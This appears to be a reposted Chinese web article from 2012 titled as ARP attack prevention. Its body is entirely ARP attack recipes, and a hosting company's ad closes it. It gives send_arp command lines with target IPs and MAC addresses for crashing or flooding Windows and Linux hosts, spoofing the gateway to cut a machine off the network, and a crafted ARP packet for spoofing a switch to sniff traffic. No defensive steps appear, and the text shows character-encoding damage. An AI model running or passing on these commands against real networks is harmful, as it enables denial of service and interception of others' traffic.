文章內(nèi)容

ARP攻擊的一般防治方法

發(fā)布時間: 2012/8/2 18:07:41

一個要攻擊的機子：10.5.4.178
硬件地址：52:54:4C:98:EE:2F
我的機子： :10.5.3.69
硬件地址：52:54:4C:98:ED:C5
網(wǎng)關： 10.5.0.3
硬件地址：00:90:26:3D:0C:F3
一臺交換機另一端口的機子：10.5.3.3
硬件地址：52:54:4C:98:ED:F7
一：用ARP破WINDOWS的屏保
原理：利用IP沖突的級別比屏保高，當有沖突時，就會跳出屏保。
關鍵：ARP包的數(shù)量適當。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 40
二：用ARP導致IP沖突，死機
原理：WINDOWS 9X，NT4在處理IP沖突時，處理不過來，導致死機。
注：對WINDOWS 2K，LINUX相當于flooding,只是比一般的FLOODING 有效的多.對LINUX，明顯系統(tǒng)被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 999999999
三：用ARP欺騙網(wǎng)關，可導致局域網(wǎng)的某臺機子出不了網(wǎng)關。
原理：用ARP應答包去刷新對應著要使之出不去的機子。
[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \
10.5.4.178 00:90:26:3D:0C:F3 1
注意：如果單單如上的命令，大概只能有效幾秒鐘，網(wǎng)關機子里的ARP高速緩存會被被攻擊的機子正確刷新，于是只要...
四：用ARP欺騙交換機，可監(jiān)聽到交換機另一端的機子。
可能需要修改一下send_arp.c,構造如下的數(shù)據(jù)包。
ethhdr
srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交換機是具有記憶MAC地址功能的,它維護一張MAC地址和它的口號表
所以你可以先來個ARP 欺騙,然后就可以監(jiān)聽了
不過需要指出,欺騙以后,同一個MAC地址就有兩個端口號
yuange說，“這樣其實就是一個競爭問題。”
好象ARP 以后,對整個網(wǎng)絡會有點影響,不過我不敢確定
既然是競爭,所以監(jiān)聽也只能監(jiān)聽一部分,不象同一HUB下的監(jiān)聽。
對被監(jiān)聽者會有影響，因為他掉了一部分數(shù)據(jù)。
當然還有其他一些應用，需要其他技術的配合。

本文出自：億恩科技【mszdt.com】

服務器租用/服務器托管中國五強！虛擬主機域名注冊頂級提供商！15年品質(zhì)保障！--億恩科技[ENKJ.COM]